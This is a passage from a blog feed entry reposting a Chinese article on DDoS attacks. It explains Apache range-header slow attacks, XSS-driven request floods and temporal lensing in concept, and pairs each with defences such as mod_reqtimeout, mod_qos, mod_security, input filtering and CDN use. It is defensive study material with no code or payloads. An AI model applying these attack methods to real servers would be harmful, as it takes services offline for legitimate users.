header攻击<br>这种攻击方式只针对apache，当客户端传输大文件时会有range字段，表示将大文件分段，分成几个小段进行传输。例如攻击者将一个文件按照一个字节一段，分成好多段，这样就会造成传输数据缓慢，长时间占用连接，消耗服务器CPU和内存资源。<br>上面这4种攻击方式，也可以参考这篇文章：CC攻击。了解了攻击原理，我们就可以有针对性地进行防御，这里说一下apache的防护策略：设置并使用以下模块<br>mod_reqtimeout模块，控制请求数据传输的超时时间及最小速率，防护配置如下<br><a href="https://mochazz.github.io/img/DDOS1/image27.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image27.png" alt></a><br>mod_qos模块，Apache的一个服务质量控制模块，用户可配置各种不同阈值，防护配置如下<br><a href="https://mochazz.github.io/img/DDOS1/image28.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image28.png" alt></a><br>mod_security模块，一个开源的WAF模块，有专门针对慢速攻击防护的规则，防护配置如下<br><a href="https://mochazz.github.io/img/DDOS1/image29.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image29.png" alt></a><br>以上是针对Apache的一些防护策略，至于其他中间件的防护，可以参考这篇文章：<a href="https://blog.qualys.com/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks" target="_blank" rel="noopener">How to Protect Against Slow HTTP AttACKs</a></p><h4 id="XSS-DOS"><a href="#XSS-DOS" title="XSS-DOS"></a>XSS-DOS</h4><p>利用网站存在的存储型XXS漏洞，在网站中插入恶意的javascript代码。代码的功能是不断向web服务器发起大量请求，从而导致服务器宕机，无法响应正常用户的请求。客户端访问已插入恶意的javascript代码的页面后，抓包截图如下<br><a href="https://mochazz.github.io/img/DDOS1/image30.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image30.png" alt></a><br>由于这种攻击的是由存储型XSS导致的，我们再防御方面就要考虑如何防御存储型XSS。<br>防御策略：</p><ol><li>对用户的输入以及url参数进行特殊字符过滤；</li><li>对输出内容进行编码转换；</li><li>结合黑白名单机制。</li></ol><h4 id="时间透镜攻击"><a href="#%E6%97%B6%E9%97%B4%E9%80%8F%E9%95%9C%E6%94%BB%E5%87%BB" title="时间透镜攻击"></a>时间透镜攻击</h4><p>通过控制相同源和相同目的IP报文，使得走不同路径的数据包，在同一时刻到达目标服务器，从而达到流量集中攻击的目的。这种攻击其实我也还弄不太懂，详细信息可以阅读这篇paper：<a href="http://icir.org/vern/papers/lensing.oak15.pdf" target="_blank" rel="noopener">Temporal Lensing and its Application in Pulsing Denial-of-Service Attacks</a>，或者看这个<a href="https://www.youtube.com/watch?v=QwAHNnKDVxQ" target="_blank" rel="noopener">视频</a>，还有这份中文分析：<a href="https://mp.weixin.qq.com/s?__biz=MzI2NjUwNjU4OA==&amp;mid=2247483685&amp;idx=1&amp;sn=8ac38ff22d571bbbf7716cb9e83b9b35&amp;chksm=ea8c5916ddfbd00008d9b28e22fccba8c201ce78c70c2d78d10ee732f22a39ccf46d4b197634&amp;mpshare=1&amp;scene=23&amp;srcid=0831Wr5YJPYzSrQU6gnfGVd0" target="_blank" rel="noopener">时间透镜及其在脉冲拒绝服务攻击的应用</a>。看一下freebuf上的一个分析图<br><a href="https://mochazz.github.io/img/DDOS1/image31.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image31.png" alt></a><br><a href="https://mochazz.github.io/img/DDOS1/image32.png" target="_blank" rel="noopener"><img src="https://mochazz.github.io/img/DDOS1/image32.png" alt></a><br>防御方案：增加抖动，干扰攻击路径，使得数据包无法预期到达；由运营商禁止源路由。<br>其他防御措施：</p><ol><li>采用高性能的网络设备；</li><li>充足的网络带宽保证；</li><li>升级主机服务器硬件；</li><li>避免将服务器的真实IP暴露在公网中；<br>使用CDN对流量进行稀释，当大流量稀释到各个CDN节点时，再对流量进行清洗，从而达到防护源站的目的。然而这种防御方式只能用在对域名发起的DDOS攻击，如果攻击者直接对IP进行攻击，则需要使用anycast技术来防御。</li></ol><h3 id="0X07总结"><a href="#0X07%E6%80%BB%E7%BB%93" title="0X07总结"></a>0X07总结</h3><p>这篇文章是自己对DDOS学习的一个总结，当中参考了不少文章书籍，当然还有很多类型的DDOS文中未提及，需要再深入学习，文中若有原理性错误，还望大家指出修正。如果大家有什么好的书籍或关于这方面的资料，欢迎推荐、交流，文章仅用于研究，切勿用在非法用途。在下一篇文章中，我将还原大部分DDOS攻击的场景。</p><p>参考：</p><ol><li><a href="http://www.jianshu.com/p/dff5a0d537d8" target="_blank" rel="noopener">CC攻击</a></li><li><a href="https://www.incapsula.com/ddos/attack-glossary/http-flood.html" target="_blank" rel="noopener">HTTP FLOOD</a></li><li><a href="https://www.incapsula.com/ddos/attack-glossary/udp-flood.html" target="_blank" rel="noopener">UDP FLOOD</a></li><li><a href="https://www.webnms.com/snmp/help/snmpapi/snmpv3/snmp_operations/snmp_getbulk.html" target="_blank" rel="noopener">SNMP GETBULK</a></li><li><a href="https://www.incapsula.com/ddos/attack-glossary/smurf-attack-ddos.html" target="_blank" rel="noopener">SMURF DDOS ATTACK</a></li><li><a href="https://wenku.baidu.com/view/436588f4f61fb7360b4c65a1.html" target="_blank" rel="noopener">DNS Amplification AttACK</a></li><li><a href="https://www.us-cert.gov/ncas/alerts/TA14-013A" target="_blank" rel="noopener">NTP Amplification AttACKs Using CVE-2013-5211</a></li><li><a href="https://www.incapsula.com/ddos/attack-glossary/snmp-reflection.html" target="_blank" rel="noopener">SNMP REFLECTION/AMPLIFICATION</a></li><li><a href="https://www.acunetix.com/blog/articles/slow-http-dos-attacks-mitigate-apache-http-server/" target="_blank" rel="noopener">How To Mitigate Slow HTTP DoS AttACKs in Apache HTTP Server</a></li><li><a href="https://blog.qualys.com/securitylabs/2011/11/02/how-to-protect-against-slow-http-attacks" target="_blank" rel="noopener">How to Protect Against Slow HTTP AttACKs</a></li><li><a href="http://icir.org/vern/papers/lensing.oak15.pdf" target="_blank" rel="noopener">Temporal Lensing and its Application in Pulsing Denial-of-Service Attacks</a></li><li>《TCP-IP协议族(第4版)》</li><li>《破坏之王-DDoS攻击与防范深度剖析》</li></ol>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;文章转载自：&lt;br&gt;
文章作者:&lt;a href=&quot;https://mochazz.github.io&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Mochazz&lt;/a&gt;&lt;br&gt;
文章链接:&lt;a href=&quot;https://mochazz.github.io/2017/09/11/DDOS1/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://mochazz.github.io/2017/09/11/DDOS1/&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;0X01DDOS简介&quot;&gt;&lt;a href=&quot;#0X01DDOS%E7%AE%80%E4%BB%8B&quot; title=&quot;0X01DDOS简介&quot;&gt;&lt;/a&gt;0X01DDOS简介&lt;/h3&gt;
&lt;p&gt;DDOS(Distributed Denial of Service)，又称分布式拒绝服务攻击。骇客通过控制多个肉鸡或服务器组成的僵尸网络，对目标发送大量看似合法请求，从而占用大量网络资源，瘫痪网络，阻止用户对网络资源的正常访问。&lt;/p&gt;
    
    </summary>
    
    
      <category term="Web" scheme="https://zer0-nu1l.github.io/categories/Web/"/>
    
      <category term="DDoS" scheme="https://zer0-nu1l.github.io/categories/Web/DDoS/"/>
    
    
  </entry>
  
</feed>
